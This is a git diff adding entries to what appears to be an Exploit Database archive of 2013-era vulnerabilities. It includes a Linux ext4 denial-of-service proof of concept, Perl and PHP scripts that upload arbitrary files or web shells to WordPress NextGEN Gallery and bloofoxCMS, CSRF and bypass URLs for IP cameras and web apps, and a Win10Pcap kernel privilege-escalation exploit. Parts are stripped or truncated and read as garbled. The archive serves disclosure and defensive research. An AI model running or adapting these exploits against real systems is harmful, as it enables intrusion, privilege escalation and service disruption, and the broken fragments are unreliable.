diff --git a/files.csv b/files.csv index 7630f851b..3304c644e 100755 --- a/files.csv +++ b/files.csv @@ -34855,3 +34855,12 @@ id,file,description,date,author,platform,type,port 38578,platforms/php/webapps/38578.txt,"Pligg CMS 2.0.2 - Directory Traversal",2015-10-30,"Curesec Research Team",php,webapps,0 38579,platforms/php/webapps/38579.txt,"Pligg CMS 2.0.2 - CSRF Code Execution",2015-10-30,"Curesec Research Team",php,webapps,0 38581,platforms/php/webapps/38581.txt,"Oxwall 1.7.4 - CSRF Vulnerability",2015-10-30,"High-Tech Bridge SA",php,webapps,0 +38582,platforms/hardware/remote/38582.html,"Brickcom Multiple IP Cameras Cross Site Request Forgery Vulnerability",2013-06-12,Castillo,hardware,remote,0 +38583,platforms/hardware/remote/38583.html,"Sony CH and DH Series IP Cameras Multiple Cross Site Request Forgery Vulnerabilities",2013-06-12,Castillo,hardware,remote,0 +38584,platforms/hardware/remote/38584.txt,"Grandstream Multiple IP Cameras Cross Site Request Forgery Vulnerability",2013-06-12,Castillo,hardware,remote,0 +38585,platforms/php/webapps/38585.pl,"WordPress NextGEN Gallery 'upload.php' Arbitrary File Upload Vulnerability",2013-06-12,"Marcos Garcia",php,webapps,0 +38586,platforms/android/remote/38586.txt,"TaxiMonger for Android 'name' Parameter HTML Injection Vulnerability",2013-06-15,"Ismail Kaleem",android,remote,0 +38587,platforms/multiple/remote/38587.txt,"Monkey HTTP Daemon Mandril Security Plugin Security Bypass Vulnerability",2013-06-14,felipensp,multiple,remote,0 +38588,platforms/php/webapps/38588.php,"bloofoxCMS 'index.php' Arbitrary File Upload Vulnerability",2013-06-17,"CWH Underground",php,webapps,0 +38589,platforms/linux/dos/38589.c,"Linux Kernel <= 3.0.5 'test_root()' Function Local Denial of Service Vulnerability",2013-06-05,"Jonathan Salwan",linux,dos,0 +38590,platforms/php/webapps/38590.txt,"et-chat Privilege Escalation and Arbitrary Shell Upload Vulnerabilities",2013-06-18,MR.XpR,php,webapps,0 diff --git a/platforms/android/remote/38586.txt b/platforms/android/remote/38586.txt new file mode 100755 index 000000000..6a5235e2b --- /dev/null +++ b/platforms/android/remote/38586.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/60566/info + +TaxiMonger for Android is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. + +Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +TaxiMonger 2.6.2 and 2.3.3 are vulnerable; other versions may also be affected. + + \ No newline at end of file diff --git a/platforms/hardware/remote/38582.html b/platforms/hardware/remote/38582.html new file mode 100755 index 000000000..8cd6022e9 --- /dev/null +++ b/platforms/hardware/remote/38582.html @@ -0,0 +1,20 @@ +source: http://www.securityfocus.com/bid/60526/info + +Brickcom multiple IP cameras are prone to a cross-site request-forgery vulnerability. + +Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. + +Brickcom cameras running firmware 3.0.6.7, 3.0.6.12, and 3.0.6.16C1 are vulnerable; other versions may also be affected. + + + +
+ + + + + + +
+ + \ No newline at end of file diff --git a/platforms/hardware/remote/38583.html b/platforms/hardware/remote/38583.html new file mode 100755 index 000000000..c745a521a --- /dev/null +++ b/platforms/hardware/remote/38583.html @@ -0,0 +1,26 @@ +source: http://www.securityfocus.com/bid/60529/info + +Sony CH and DH series IP cameras including SNCCH140, SNCCH180, SNCCH240, SNCCH280, SNCDH140, SNCDH140T, SNCDH180, SNCDH240, SNCDH240T, and SNCDH280 are prone to multiple cross-site request-forgery vulnerabilities. + +Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. + + + +
+ + + + + + + + + + + + + + +
+ + diff --git a/platforms/hardware/remote/38584.txt b/platforms/hardware/remote/38584.txt new file mode 100755 index 000000000..346f8b055 --- /dev/null +++ b/platforms/hardware/remote/38584.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/60532/info + +Grandstream multiple IP cameras including GXV3501, GXV3504, GXV3601, GXV3601HD/LL, GXV3611HD/LL, GXV3615W/P, GXV3651FHD, GXV3662HD, GXV3615WP_HD, and GXV3500 are prone to a cross-site request-forgery vulnerability. + +Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. + +http://www.example.com/goform/usermanage?cmd=add&user.name=test3&user.password=test3&user.level=0 \ No newline at end of file diff --git a/platforms/linux/dos/38589.c b/platforms/linux/dos/38589.c new file mode 100755 index 000000000..69106af0c --- /dev/null +++ b/platforms/linux/dos/38589.c @@ -0,0 +1,58 @@ +source: http://www.securityfocus.com/bid/60586/info + +The Linux Kernel is prone to a local denial-of-service vulnerability. + +Local attackers can exploit this issue to trigger an infinite loop which may cause denial-of-service conditions. + +/* +** PoC - kernel <= 3.10 CPU Thread consumption in ext4 support. (Infinite loop) +** Jonathan Salwan - 2013-06-05 +*/ + +#include +#include +#include +#include +#include +#include +#include + +struct ext4_new_group_input { + __u32 group; + __u64 block_bitmap; + __u64 inode_bitmap; + __u64 inode_table; + __u32 blocks_count; + __u16 reserved_blocks; + __u16 unused; +}; + +#define EXT4_IOC_GROUP_ADD _IOW('f', 8, struct ext4_new_group_input) + +int main(int ac, const char *av[]){ + struct ext4_new_group_input input; + int fd; + + if (ac < 2){ + printf("Syntax : %s \n", av[0]); + printf("Example : %s /tmp\n", av[0]); + return -1; + } + + printf("[+] Opening the ext4 device\n"); + if ((fd = open(av[1], O_RDONLY)) < 0){ + perror("[-] open"); + return -1; + } + + printf("[+] Trigger the infinite loop\n"); + input.group = -1; + if (ioctl(fd, EXT4_IOC_GROUP_ADD, &input) < 0){ + perror("[-] ioctl"); + } + + close(fd); + return 0; +} + + diff --git a/platforms/multiple/remote/38587.txt b/platforms/multiple/remote/38587.txt new file mode 100755 index 000000000..3d8a6bc56 --- /dev/null +++ b/platforms/multiple/remote/38587.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/60569/info + +The Mandril Security plugin for Monkey HTTP Daemon is prone to a security-bypass vulnerability. + +An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions, which may aid in launching further attacks + +http://www.example.com/%2ftest/ \ No newline at end of file diff --git a/platforms/php/webapps/38585.pl b/platforms/php/webapps/38585.pl new file mode 100755 index 000000000..76ffd6838 --- /dev/null +++ b/platforms/php/webapps/38585.pl @@ -0,0 +1,30 @@ +source: http://www.securityfocus.com/bid/60533/info + +The NextGEN Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. + +An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application. + +NextGEN Gallery 1.9.12 is vulnerable; other versions may also be affected. + +#! /usr/bin/perl +use LWP; +use HTTP::Request::Common; + +my ($url, $file) = @ARGV; + +my $ua = LWP::UserAgent->new(); +my $req = POST $url, +Content_Type => 'form-data', +Content => [. +name => $name, +galleryselect => 1, # Gallery ID, should exist +Filedata => [ "$file", "file.gif", Content_Type => +'image/gif' ] +]; +my $res = $ua->request( $req ); +if( $res->is_success ) { +print $res->content; +} else { +print $res->status_line, "\n"; +} + diff --git a/platforms/php/webapps/38588.php b/platforms/php/webapps/38588.php new file mode 100755 index 000000000..4c74cd9d5 --- /dev/null +++ b/platforms/php/webapps/38588.php @@ -0,0 +1,137 @@ +source: http://www.securityfocus.com/bid/60585/info + +bloofoxCMS is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. + +An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. + +bloofoxCMS 0.5.0 is vulnerable;other versions may also be affected. + + \n"; +print "\nExample....: php $argv[0] target /bloofoxcms/ editor editor\n"; + die(); +} + +$host = $argv[1]; +$path = $argv[2]; + +$payload = "username={$argv[3]}&password={$argv[4]}&action=login"; + +$packet = "POST {$path}admin/index.php HTTP/1.0\r\n"; +$packet .= "Host: {$host}\r\n"; +$packet .= "Referer: {$host}{$path}admin/index.php\r\n"; +$packet .= "Content-Length: ".strlen($payload)."\r\n"; +$packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; +$packet .= "Connection: close\r\n\r\n{$payload}"; + +$response = http_send($host, $packet); + +if (!preg_match("/Location: index.php/i", $response)) die("\n[-] Login failed!\n"); +if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n"); + +print "\n..:: Login Successful ::..\n"; +print "\n..:: Waiting hell ::..\n\n"; + +$payload = "--o0oOo0o\r\n"; +$payload .= "Content-Disposition: form-data; name=\"filename\"; filename=\"sh.php\"\r\n"; +$payload .= "Content-Type: application/octet-stream\r\n\r\n"; +$payload .= " diff --git a/platforms/php/webapps/38590.txt b/platforms/php/webapps/38590.txt new file mode 100755 index 000000000..0bc7c292f --- /dev/null +++ b/platforms/php/webapps/38590.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/60660/info + +et-chat is prone to a privilege-escalation vulnerability and an arbitrary shell-upload vulnerability. + +An attacker can exploit these issues to gain elevated privileges within the application and upload arbitrary shells; this can result in an arbitrary code execution within the context of the vulnerable application. + +et-chat 3.07 is vulnerable; other versions may also be affected. + +http://www.example.com/chat/?AdminRegUserEdit&admin&id=4 \ No newline at end of file diff --git a/platforms/windows/local/38542.cpp b/platforms/windows/local/38542.cpp new file mode 100755 index 000000000..1361d870b --- /dev/null +++ b/platforms/windows/local/38542.cpp @@ -0,0 +1,205 @@ +# Source: https://github.com/Rootkitsmm/Win10Pcap-Exploit + +/* +Win10Pcap kernel-mode driver did not check the virtual addresses which are passed from the user-mode , IOCTL Using Neither Buffered Nor Direct I/O without ProbeForWrite to validating passed address + +you need find accurate Device name in runtime to send IOCTL , hardcoded device name dont lead to vulnerable code + +IOCTL handller write a string in passed address , string is something like "Global\WTCAP_EVENT_3889023063_1" + +ther was many way to exploit this vulnerability i decide to set privilege in process TOKEN with overwriting _SEP_TOKEN_PRIVILEGES + +overwriting token at address 0x034 with string "Global\WTCAP_EVENT" can set SeDebugPrivilege without corrupting sensitive Filds +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SL_IOCTL_GET_EVENT_NAME CTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS) +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) + +/* found with : +!token +1: kd> dt nt!_OBJECT_HEADER + +0x000 PointerCount : Int4B + +0x004 HandleCount : Int4B + +0x004 NextToFree : Ptr32 Void + +0x008 Lock : _EX_PUSH_LOCK + +0x00c TypeIndex : UChar + +0x00d TraceFlags : UChar + +0x00e InfoMask : UChar + +0x00f Flags : UChar + +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION + +0x010 QuotaBlockCharged : Ptr32 Void + +0x014 SecurityDescriptor : Ptr32 Void + +0x018 Body : _QUAD + +TypeIndex is 0x5 +*/ +#define HANDLE_TYPE_TOKEN 0x5 + + +// Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation +const SYSTEM_INFORMATION_CLASS SystemHandleInformation = +(SYSTEM_INFORMATION_CLASS)16; + +// The NtQuerySystemInformation function and the structures that it returns +// are internal to the operating system and subject to change from one +// release of Windows to another. To maintain the compatibility of your +// application, it is better not to use the function. +typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + +// Undocumented structure: SYSTEM_HANDLE_INFORMATION +typedef struct _SYSTEM_HANDLE +{ + ULONG ProcessId; + UCHAR ObjectTypeNumber; + UCHAR Flags; + USHORT Handle; + PVOID Object; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + + +// Undocumented FILE_INFORMATION_CLASS: FileNameInformation +const FILE_INFORMATION_CLASS FileNameInformation = +(FILE_INFORMATION_CLASS)9; + +// The NtQueryInformationFile function and the structures that it returns +// are internal to the operating system and subject to change from one +// release of Windows to another. To maintain the compatibility of your +// application, it is better not to use the function. +typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + +// FILE_NAME_INFORMATION contains name of queried file object. +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + + +void* FindTokenAddressHandles(ULONG pid) +{ + ///////////////////////////////////////////////////////////////////////// + // Prepare for NtQuerySystemInformation and NtQueryInformationFile. + // + + // The functions have no associated import library. You must use the + // LoadLibrary and GetProcAddress functions to dynamically link to + // ntdll.dll. + + HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll")); + assert(hNtDll != NULL); + + PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = + (PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll, + "NtQuerySystemInformation"); + assert(NtQuerySystemInformation != NULL); + + + ///////////////////////////////////////////////////////////////////////// + // Get system handle information. + // + + DWORD nSize = 4096, nReturn; + PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) + HeapAlloc(GetProcessHeap(), 0, nSize); + + // NtQuerySystemInformation does not return the correct required buffer + // size if the buffer passed is too small. Instead you must call the + // function while increasing the buffer size until the function no longer + // returns STATUS_INFO_LENGTH_MISMATCH. + while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, + nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH) + { + HeapFree(GetProcessHeap(), 0, pSysHandleInfo); + nSize += 4096; + pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc( + GetProcessHeap(), 0, nSize); + } + + for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++) + { + + PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]); + + if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN) + { + printf(" ObjectTypeNumber %d , ProcessId %d , Object %p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object); + return pHandle->Object; + } + } + + ///////////////////////////////////////////////////////////////////////// + // Clean up. + // + HeapFree(GetProcessHeap(), 0, pSysHandleInfo); + + return 0; +} + +void main() +{ + DWORD dwBytesReturned; + DWORD ShellcodeFakeMemory; + HANDLE token; + + + // first create toke handle so find object address with handle + if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token)) + DebugBreak(); + + void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId()); + + CloseHandle(token); + + // i dont want write fully weaponized exploit so criminal must write code to find "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :) + HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); + if(hDriver!=INVALID_HANDLE_VALUE) + { + fprintf(stderr," Open Driver OK\n"); + + if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL)) + { + fprintf(stderr,"send IOCTL error %d.\n",GetLastError()); + return; + } + else fprintf(stderr," Send IOCTL OK\n"); + } + + else + { + fprintf(stderr," Open Driver error %d.\n",GetLastError()); + return; + } + + + CloseHandle(hDriver); + getchar(); + +} \ No newline at end of file